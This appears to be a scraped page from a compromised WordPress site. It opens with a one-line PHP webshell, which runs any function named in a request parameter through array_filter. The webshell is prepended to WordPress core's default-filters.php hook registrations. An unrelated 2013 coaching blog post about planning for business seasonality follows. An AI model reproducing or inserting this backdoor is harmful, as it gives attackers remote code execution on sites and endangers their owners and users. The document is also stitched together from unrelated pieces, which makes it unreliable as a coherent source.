?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; /** * Sets up the default filters and actions for most * of the WordPress hooks. * * If you need to remove a default hook, this file will * give you the priority for which to use to remove the * hook. * * Not all of the default hooks are found in default-filters.php * * @package WordPress */ // Strip, trim, kses, special chars for string saves foreach ( array( 'pre_term_name', 'pre_comment_author_name', 'pre_link_name', 'pre_link_target', 'pre_link_rel', 'pre_user_display_name', 'pre_user_first_name', 'pre_user_last_name', 'pre_user_nickname' ) as $filter ) { add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_filter_kses' ); add_filter( $filter, '_wp_specialchars', 30 ); } // Strip, kses, special chars for string display foreach ( array( 'term_name', 'comment_author_name', 'link_name', 'link_target', 'link_rel', 'user_display_name', 'user_first_name', 'user_last_name', 'user_nickname' ) as $filter ) { if ( is_admin() ) { // These are expensive. Run only on admin pages for defense in depth. add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_kses_data' ); } add_filter( $filter, '_wp_specialchars', 30 ); } // Kses only for textarea saves foreach ( array( 'pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description' ) as $filter ) { add_filter( $filter, 'wp_filter_kses' ); } // Kses only for textarea admin displays if ( is_admin() ) { foreach ( array( 'term_description', 'link_description', 'link_notes', 'user_description' ) as $filter ) { add_filter( $filter, 'wp_kses_data' ); } add_filter( 'comment_text', 'wp_kses_post' ); } // Email saves foreach ( array( 'pre_comment_author_email', 'pre_user_email' ) as $filter ) { add_filter( $filter, 'trim' ); add_filter( $filter, 'sanitize_email' ); add_filter( $filter, 'wp_filter_kses' ); } // Email admin display foreach ( array( 'comment_author_email', 'user_email' ) as $filter ) { add_filter( $filter, 'sanitize_email' ); if ( is_admin() ) add_filter( $filter, 'wp_kses_data' ); } // Save URL foreach ( array( 'pre_comment_author_url', 'pre_user_url', 'pre_link_url', 'pre_link_image', 'pre_link_rss', 'pre_post_guid' ) as $filter ) { add_filter( $filter, 'wp_strip_all_tags' ); add_filter( $filter, 'esc_url_raw' ); add_filter( $filter, 'wp_filter_kses' ); } // Display URL foreach ( array( 'user_url', 'link_url', 'link_image', 'link_rss', 'comment_url', 'post_guid' ) as $filter ) { if ( is_admin() ) add_filter( $filter, 'wp_strip_all_tags' ); add_filter( $filter, 'esc_url' ); if ( is_admin() ) add_filter( $filter, 'wp_kses_data' ); } // Slugs add_filter( 'pre_term_slug', 'sanitize_title' ); add_filter( 'wp_insert_post_data', '_wp_customize_changeset_filter_insert_post_data', 10, 2 ); // Keys foreach ( array( 'pre_post_type', 'pre_post_status', 'pre_post_comment_status', 'pre_post_ping_status' ) as $filter ) { add_filter( $filter, 'sanitize_key' ); } // Mime types add_filter( 'pre_post_mime_type', 'sanitize_mime_type' ); add_filter( 'post_mime_type', 'sanitize_mime_type' ); // Meta add_filter( 'register_meta_args', '_wp_register_meta_args_whitelist', 10, 2 ); // Places to balance tags on input foreach ( array( 'content_save_pre', 'excerpt_save_pre', 'comment_save_pre', 'pre_comment_content' ) as $filter ) { add_filter( $filter, 'convert_invalid_entities' ); add_filter( $filter, 'balanceTags', 50 ); } // Format strings for display. foreach ( array( 'comment_author', 'term_name', 'link_name', 'link_description', 'link_notes', 'bloginfo', 'wp_title', 'widget_title' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'convert_chars' ); add_filter( $filter, 'esc_html' ); } // Format WordPress foreach ( array( 'the_content', 'the_title', 'wp_title' ) as $filter ) add_filter( $filter, 'capital_P_dangit', 11 ); add_filter( 'comment_text', 'capital_P_dangit', 31 ); // Format titles foreach ( array( 'single_post_title', 'single_cat_title', 'single_tag_title', 'single_month_title', 'nav_menu_attr_title', 'nav_menu_description' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'strip_tags' ); } // Format text area for display. foreach ( array( 'term_description' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'convert_chars' ); add_filter( $filter, 'wpautop' ); add_filter( $filter, 'shortcode_unautop'); } // Format for RSS add_filter( 'term_name_rss', 'convert_chars' ); // Pre save hierarchy add_filter( 'wp_insert_post_parent', 'wp_check_post_hierarchy_for_loops', 10, 2 ); add_filter( 'wp_update_term_parent', 'wp_check_term_hierarchy_for_loops', 10, 3 ); // Display filters add_filter( 'the_title', 'wptexturize' ); add_filter( 'the_title', 'convert_chars' ); add_filter( 'the_title', 'trim' ); add_filter( 'the_content', 'wptexturize' ); add_filter( 'the_content', 'convert_smilies', 20 ); add_filter( 'the_content', 'wpautop' ); add_filter( 'the_content', 'shortcode_unautop' ); add_filter( 'the_content', 'prepend_attachment' ); add_filter( 'the_content', 'wp_make_content_images_responsive' ); add_filter( 'the_excerpt', 'wptexturize' ); add_filter( 'the_excerpt', 'convert_smilies' ); add_filter( 'the_excerpt', 'convert_chars' ); add_filter( 'the_excerpt', 'wpautop' ); add_filter( 'the_excerpt', 'shortcode_unautop'); add_filter( 'get_the_excerpt', 'wp_trim_excerpt' ); add_filter( 'the_post_thumbnail_caption', 'wptexturize' ); add_filter( 'the_post_thumbnail_caption', 'convert_smilies' ); add_filter( 'the_post_thumbnail_caption', 'convert_chars' ); add_filter( 'comment_text', 'wptexturize' ); add_filter( 'comment_text', 'convert_chars' ); add_filter( 'comment_text', 'make_clickable', 9 ); add_filter( 'comment_text', 'force_balance_tags', 25 ); add_filter( 'comment_text', 'convert_smilies', 20 ); add_filter( 'comment_text', 'wpautop', 30 ); add_filter( 'comment_excerpt', 'convert_chars' ); add_filter( 'list_cats', 'wptexturize' ); add_filter( 'wp_sprintf', 'wp_sprintf_l', 10, 2 ); add_filter( 'widget_text', 'balanceTags' ); add_filter( 'date_i18n', 'wp_maybe_decline_date' ); // RSS filters add_filter( 'the_title_rss', 'strip_tags' ); add_filter( 'the_title_rss', 'ent2ncr', 8 ); add_filter( 'the_title_rss', 'esc_html' ); add_filter( 'the_content_rss', 'ent2ncr', 8 ); add_filter( 'the_content_feed', 'wp_staticize_emoji' ); add_filter( 'the_content_feed', '_oembed_filter_feed_content' ); add_filter( 'the_excerpt_rss', 'convert_chars' ); add_filter( 'the_excerpt_rss', 'ent2ncr', 8 ); add_filter( 'comment_author_rss', 'ent2ncr', 8 ); add_filter( 'comment_text_rss', 'ent2ncr', 8 ); add_filter( 'comment_text_rss', 'esc_html' ); add_filter( 'comment_text_rss', 'wp_staticize_emoji' ); add_filter( 'bloginfo_rss', 'ent2ncr', 8 ); add_filter( 'the_author', 'ent2ncr', 8 ); add_filter( 'the_guid', 'esc_url' ); // Email filters add_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); // Mark site as no longer fresh foreach ( array( 'publish_post', 'publish_page', 'wp_ajax_save-widget', 'wp_ajax_widgets-order', 'customize_save_after' ) as $action ) { add_action( $action, '_delete_option_fresh_site' ); } // Misc filters add_filter( 'option_ping_sites', 'privacy_ping_filter' ); add_filter( 'option_blog_charset', '_wp_specialchars' ); // IMPORTANT: This must not be wp_specialchars() or esc_html() or it'll cause an infinite loop add_filter( 'option_blog_charset', '_canonical_charset' ); add_filter( 'option_home', '_config_wp_home' ); add_filter( 'option_siteurl', '_config_wp_siteurl' ); add_filter( 'tiny_mce_before_init', '_mce_set_direction' ); add_filter( 'teeny_mce_before_init', '_mce_set_direction' ); add_filter( 'pre_kses', 'wp_pre_kses_less_than' ); add_filter( 'sanitize_title', 'sanitize_title_with_dashes', 10, 3 ); add_action( 'check_comment_flood', 'check_comment_flood_db', 10, 4 ); add_filter( 'comment_flood_filter', 'wp_throttle_comment_flood', 10, 3 ); add_filter( 'pre_comment_content', 'wp_rel_nofollow', 15 ); add_filter( 'comment_email', 'antispambot' ); add_filter( 'option_tag_base', '_wp_filter_taxonomy_base' ); add_filter( 'option_category_base', '_wp_filter_taxonomy_base' ); add_filter( 'the_posts', '_close_comments_for_old_posts', 10, 2); add_filter( 'comments_open', '_close_comments_for_old_post', 10, 2 ); add_filter( 'pings_open', '_close_comments_for_old_post', 10, 2 ); add_filter( 'editable_slug', 'urldecode' ); add_filter( 'editable_slug', 'esc_textarea' ); add_filter( 'nav_menu_meta_box_object', '_wp_nav_menu_meta_box_object' ); add_filter( 'pingback_ping_source_uri', 'pingback_ping_source_uri' ); add_filter( 'xmlrpc_pingback_error', 'xmlrpc_pingback_error' ); add_filter( 'title_save_pre', 'trim' ); add_action( 'transition_comment_status', '_clear_modified_cache_on_transition_comment_status', 10, 2 ); add_filter( 'http_request_host_is_external', 'allowed_http_request_hosts', 10, 2 ); // REST API filters. add_action( 'xmlrpc_rsd_apis', 'rest_output_rsd' ); add_action( 'wp_head', 'rest_output_link_wp_head', 10, 0 ); add_action( 'template_redirect', 'rest_output_link_header', 11, 0 ); add_action( 'auth_cookie_malformed', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_expired', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_bad_username', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_bad_hash', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_valid', 'rest_cookie_collect_status' ); add_filter( 'rest_authentication_errors', 'rest_cookie_check_errors', 100 ); // Actions add_action( 'wp_head', '_wp_render_title_tag', 1 ); add_action( 'wp_head', 'wp_enqueue_scripts', 1 ); add_action( 'wp_head', 'wp_resource_hints', 2 ); add_action( 'wp_head', 'feed_links', 2 ); add_action( 'wp_head', 'feed_links_extra', 3 ); add_action( 'wp_head', 'rsd_link' ); add_action( 'wp_head', 'wlwmanifest_link' ); add_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0 ); add_action( 'wp_head', 'locale_stylesheet' ); add_action( 'publish_future_post', 'check_and_publish_future_post', 10, 1 ); add_action( 'wp_head', 'noindex', 1 ); add_action( 'wp_head', 'print_emoji_detection_script', 7 ); add_action( 'wp_head', 'wp_print_styles', 8 ); add_action( 'wp_head', 'wp_print_head_scripts', 9 ); add_action( 'wp_head', 'wp_generator' ); add_action( 'wp_head', 'rel_canonical' ); add_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 ); add_action( 'wp_head', 'wp_custom_css_cb', 101 ); add_action( 'wp_head', 'wp_site_icon', 99 ); add_action( 'wp_footer', 'wp_print_footer_scripts', 20 ); add_action( 'template_redirect', 'wp_shortlink_header', 11, 0 ); add_action( 'wp_print_footer_scripts', '_wp_footer_scripts' ); add_action( 'init', 'check_theme_switched', 99 ); add_action( 'after_switch_theme', '_wp_sidebars_changed' ); add_action( 'wp_print_styles', 'print_emoji_styles' ); if ( isset( $_GET['replytocom'] ) ) add_action( 'wp_head', 'wp_no_robots' ); // Login actions add_filter( 'login_head', 'wp_resource_hints', 8 ); add_action( 'login_head', 'wp_print_head_scripts', 9 ); add_action( 'login_head', 'print_admin_styles', 9 ); add_action( 'login_head', 'wp_site_icon', 99 ); add_action( 'login_footer', 'wp_print_footer_scripts', 20 ); add_action( 'login_init', 'send_frame_options_header', 10, 0 ); // Feed Generator Tags foreach ( array( 'rss2_head', 'commentsrss2_head', 'rss_head', 'rdf_header', 'atom_head', 'comments_atom_head', 'opml_head', 'app_head' ) as $action ) { add_action( $action, 'the_generator' ); } // Feed Site Icon add_action( 'atom_head', 'atom_site_icon' ); add_action( 'rss2_head', 'rss2_site_icon' ); // WP Cron if ( !defined( 'DOING_CRON' ) ) add_action( 'init', 'wp_cron' ); // 2 Actions 2 Furious add_action( 'do_feed_rdf', 'do_feed_rdf', 10, 1 ); add_action( 'do_feed_rss', 'do_feed_rss', 10, 1 ); add_action( 'do_feed_rss2', 'do_feed_rss2', 10, 1 ); add_action( 'do_feed_atom', 'do_feed_atom', 10, 1 ); add_action( 'do_pings', 'do_all_pings', 10, 1 ); add_action( 'do_robots', 'do_robots' ); add_action( 'set_comment_cookies', 'wp_set_comment_cookies', 10, 2 ); add_action( 'sanitize_comment_cookies', 'sanitize_comment_cookies' ); add_action( 'admin_print_scripts', 'print_emoji_detection_script' ); add_action( 'admin_print_scripts', 'print_head_scripts', 20 ); add_action( 'admin_print_footer_scripts', '_wp_footer_scripts' ); add_action( 'admin_print_styles', 'print_emoji_styles' ); add_action( 'admin_print_styles', 'print_admin_styles', 20 ); add_action( 'init', 'smilies_init', 5 ); add_action( 'plugins_loaded', 'wp_maybe_load_widgets', 0 ); add_action( 'plugins_loaded', 'wp_maybe_load_embeds', 0 ); add_action( 'shutdown', 'wp_ob_end_flush_all', 1 ); // Create a revision whenever a post is updated. add_action( 'post_updated', 'wp_save_post_revision', 10, 1 ); add_action( 'publish_post', '_publish_post_hook', 5, 1 ); add_action( 'transition_post_status', '_transition_post_status', 5, 3 ); add_action( 'transition_post_status', '_update_term_count_on_transition_post_status', 10, 3 ); add_action( 'comment_form', 'wp_comment_form_unfiltered_html_nonce' ); add_action( 'wp_scheduled_delete', 'wp_scheduled_delete' ); add_action( 'wp_scheduled_auto_draft_delete', 'wp_delete_auto_drafts' ); add_action( 'admin_init', 'send_frame_options_header', 10, 0 ); add_action( 'importer_scheduled_cleanup', 'wp_delete_attachment' ); add_action( 'upgrader_scheduled_cleanup', 'wp_delete_attachment' ); add_action( 'welcome_panel', 'wp_welcome_panel' ); // Navigation menu actions add_action( 'delete_post', '_wp_delete_post_menu_item' ); add_action( 'delete_term', '_wp_delete_tax_menu_item', 10, 3 ); add_action( 'transition_post_status', '_wp_auto_add_pages_to_menu', 10, 3 ); // Post Thumbnail CSS class filtering add_action( 'begin_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_add' ); add_action( 'end_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_remove' ); // Redirect Old Slugs add_action( 'template_redirect', 'wp_old_slug_redirect' ); add_action( 'post_updated', 'wp_check_for_changed_slugs', 12, 3 ); add_action( 'attachment_updated', 'wp_check_for_changed_slugs', 12, 3 ); // Nonce check for Post Previews add_action( 'init', '_show_post_preview' ); // Output JS to reset window.name for previews add_action( 'wp_head', 'wp_post_preview_js', 1 ); // Timezone add_filter( 'pre_option_gmt_offset','wp_timezone_override_offset' ); // Admin Color Schemes add_action( 'admin_init', 'register_admin_color_schemes', 1); add_action( 'admin_color_scheme_picker', 'admin_color_scheme_picker' ); // If the upgrade hasn't run yet, assume link manager is used. add_filter( 'default_option_link_manager_enabled', '__return_true' ); // This option no longer exists; tell plugins we always support auto-embedding. add_filter( 'default_option_embed_autourls', '__return_true' ); // Default settings for heartbeat add_filter( 'heartbeat_settings', 'wp_heartbeat_settings' ); // Check if the user is logged out add_action( 'admin_enqueue_scripts', 'wp_auth_check_load' ); add_filter( 'heartbeat_send', 'wp_auth_check' ); add_filter( 'heartbeat_nopriv_send', 'wp_auth_check' ); // Default authentication filters add_filter( 'authenticate', 'wp_authenticate_username_password', 20, 3 ); add_filter( 'authenticate', 'wp_authenticate_email_password', 20, 3 ); add_filter( 'authenticate', 'wp_authenticate_spam_check', 99 ); add_filter( 'determine_current_user', 'wp_validate_auth_cookie' ); add_filter( 'determine_current_user', 'wp_validate_logged_in_cookie', 20 ); // Split term updates. add_action( 'admin_init', '_wp_check_for_scheduled_split_terms' ); add_action( 'split_shared_term', '_wp_check_split_default_terms', 10, 4 ); add_action( 'split_shared_term', '_wp_check_split_terms_in_menus', 10, 4 ); add_action( 'split_shared_term', '_wp_check_split_nav_menu_terms', 10, 4 ); add_action( 'wp_split_shared_term_batch', '_wp_batch_split_terms' ); // Email notifications. add_action( 'comment_post', 'wp_new_comment_notify_moderator' ); add_action( 'comment_post', 'wp_new_comment_notify_postauthor' ); add_action( 'after_password_reset', 'wp_password_change_notification' ); add_action( 'register_new_user', 'wp_send_new_user_notifications' ); add_action( 'edit_user_created_user', 'wp_send_new_user_notifications', 10, 2 ); // REST API actions. add_action( 'init', 'rest_api_init' ); add_action( 'rest_api_init', 'rest_api_default_filters', 10, 1 ); add_action( 'rest_api_init', 'register_initial_settings', 10 ); add_action( 'rest_api_init', 'create_initial_rest_routes', 99 ); add_action( 'parse_request', 'rest_api_loaded' ); /** * Filters formerly mixed into wp-includes */ // Theme add_action( 'wp_loaded', '_custom_header_background_just_in_time' ); add_action( 'wp_head', '_custom_logo_header_styles' ); add_action( 'plugins_loaded', '_wp_customize_include' ); add_action( 'transition_post_status', '_wp_customize_publish_changeset', 10, 3 ); add_action( 'admin_enqueue_scripts', '_wp_customize_loader_settings' ); add_action( 'delete_attachment', '_delete_attachment_theme_mod' ); // Calendar widget cache add_action( 'save_post', 'delete_get_calendar_cache' ); add_action( 'delete_post', 'delete_get_calendar_cache' ); add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' ); add_action( 'update_option_gmt_offset', 'delete_get_calendar_cache' ); // Author add_action( 'transition_post_status', '__clear_multi_author_cache' ); // Post add_action( 'init', 'create_initial_post_types', 0 ); // highest priority add_action( 'admin_menu', '_add_post_type_submenus' ); add_action( 'before_delete_post', '_reset_front_page_settings_for_post' ); add_action( 'wp_trash_post', '_reset_front_page_settings_for_post' ); add_action( 'change_locale', 'create_initial_post_types' ); // Post Formats add_filter( 'request', '_post_format_request' ); add_filter( 'term_link', '_post_format_link', 10, 3 ); add_filter( 'get_post_format', '_post_format_get_term' ); add_filter( 'get_terms', '_post_format_get_terms', 10, 3 ); add_filter( 'wp_get_object_terms', '_post_format_wp_get_object_terms' ); // KSES add_action( 'init', 'kses_init' ); add_action( 'set_current_user', 'kses_init' ); // Script Loader add_action( 'wp_default_scripts', 'wp_default_scripts' ); add_action( 'wp_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 ); add_action( 'admin_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 ); add_filter( 'wp_print_scripts', 'wp_just_in_time_script_localization' ); add_filter( 'print_scripts_array', 'wp_prototype_before_jquery' ); add_filter( 'customize_controls_print_styles', 'wp_resource_hints', 1 ); add_action( 'wp_default_styles', 'wp_default_styles' ); add_filter( 'style_loader_src', 'wp_style_loader_src', 10, 2 ); // Taxonomy add_action( 'init', 'create_initial_taxonomies', 0 ); // highest priority add_action( 'change_locale', 'create_initial_taxonomies' ); // Canonical add_action( 'template_redirect', 'redirect_canonical' ); add_action( 'template_redirect', 'wp_redirect_admin_locations', 1000 ); // Shortcodes add_filter( 'the_content', 'do_shortcode', 11 ); // AFTER wpautop() // Media add_action( 'wp_playlist_scripts', 'wp_playlist_scripts' ); add_action( 'customize_controls_enqueue_scripts', 'wp_plupload_default_settings' ); // Nav menu add_filter( 'nav_menu_item_id', '_nav_menu_item_id_use_once', 10, 2 ); // Widgets add_action( 'init', 'wp_widgets_init', 1 ); // Admin Bar // Don't remove. Wrong way to disable. add_action( 'template_redirect', '_wp_admin_bar_init', 0 ); add_action( 'admin_init', '_wp_admin_bar_init' ); add_action( 'before_signup_header', '_wp_admin_bar_init' ); add_action( 'activate_header', '_wp_admin_bar_init' ); add_action( 'wp_footer', 'wp_admin_bar_render', 1000 ); add_action( 'in_admin_header', 'wp_admin_bar_render', 0 ); // Former admin filters that can also be hooked on the front end add_action( 'media_buttons', 'media_buttons' ); add_filter( 'image_send_to_editor', 'image_add_caption', 20, 8 ); add_filter( 'media_send_to_editor', 'image_media_send_to_editor', 10, 3 ); // Embeds add_action( 'rest_api_init', 'wp_oembed_register_route' ); add_filter( 'rest_pre_serve_request', '_oembed_rest_pre_serve_request', 10, 4 ); add_action( 'wp_head', 'wp_oembed_add_discovery_links' ); add_action( 'wp_head', 'wp_oembed_add_host_js' ); add_action( 'embed_head', 'enqueue_embed_scripts', 1 ); add_action( 'embed_head', 'print_emoji_detection_script' ); add_action( 'embed_head', 'print_embed_styles' ); add_action( 'embed_head', 'wp_print_head_scripts', 20 ); add_action( 'embed_head', 'wp_print_styles', 20 ); add_action( 'embed_head', 'wp_no_robots' ); add_action( 'embed_head', 'rel_canonical' ); add_action( 'embed_head', 'locale_stylesheet', 30 ); add_action( 'embed_content_meta', 'print_embed_comments_button' ); add_action( 'embed_content_meta', 'print_embed_sharing_button' ); add_action( 'embed_footer', 'print_embed_sharing_dialog' ); add_action( 'embed_footer', 'print_embed_scripts' ); add_action( 'embed_footer', 'wp_print_footer_scripts', 20 ); add_filter( 'excerpt_more', 'wp_embed_excerpt_more', 20 ); add_filter( 'the_excerpt_embed', 'wptexturize' ); add_filter( 'the_excerpt_embed', 'convert_chars' ); add_filter( 'the_excerpt_embed', 'wpautop' ); add_filter( 'the_excerpt_embed', 'shortcode_unautop' ); add_filter( 'the_excerpt_embed', 'wp_embed_excerpt_attachment' ); add_filter( 'oembed_dataparse', 'wp_filter_oembed_result', 10, 3 ); add_filter( 'oembed_response_data', 'get_oembed_response_data_rich', 10, 4 ); add_filter( 'pre_oembed_result', 'wp_filter_pre_oembed_result', 10, 3 ); unset( $filter, $action ); Loving Leaders | ArchivesJanuary | 2013 |

Archives for January2013

A Season For Everything

Are you strategically and proactively planning for the seasonality of your business?

Every single business I've worked with experiences a seasonal impact.

Most people think the only organizations with seasonal impact are industries like farming and retail, etc. But consulting firms, creative and design agencies, technology companies, financial institutions, airlines, etc. also experience a seasonality.

Small to medium sized business owners often don't think about the seasonality of their business. If you're interested in building a sustainable business, then you really have to build a responsive business. That means anticipating the seasonal impact - whether that's releasing a software product and you need more developers and testers for a brief period of time, you need to hire designers for a big project, you need to find freelancers for an experiential marketing campaign, or you need to plan your vacation when you have downtime because you are a solopreneur.

Identifying the Seasonality of Your Business:

Look over the last three years of your financial reports.
This is a good starting point to figure out the seasonality of your business. However, you may also need to look at time sheets,  software release timelines, or other important documents that give you insight into the seasonal aspects of your business.

Look for crunch times and slow times. Look for spikes in revenue, as well as dips in revenue.

Look for any indication that implies you are more busy or less busy than at other times over the past three years.

When you are clear on the seasonal flow of your business, you can make plans and take strategic action to influence that seasonality.

For example, if you've had a slow first quarter every year for the last three years, ramp up your marketing in October. (Yes, I understand that won't help this year, but at least you'll be prepared for next year.)

Or, if you have need for freelancers multiple times throughout the year, put your job postings up permanently so you always have access to a qualified pool of freelancers.

There are a million and one ways to strategize around pattern analysis, to offset patterns, take advantage of patterns, or just be informed.

For example, a design firm I work with traditionally had a dip in the first quarter of the year. When we examined the financials closely, we made the decision to spend extra time in the fourth quarter of the year focusing on business development.

The result? In 2013 they already have their best first quarter ever! That means they have business booked January, February and March already and it's more business than they've had in any year. That's being strategic!

Be Careful

But...be careful about making assumptions about seasonality.

Just because other people say December is slow in your industry, doesn't mean it has to be that way.  For example, in my industry (coaching), people always say December is the slowest month. But for me, December is usually the busiest of the year.

January is usually my slowest. So I'll take advantage of that by ending this post now and taking some much needed down time. :)

What is the seasonal impact on your business...and what are you planning to do about it?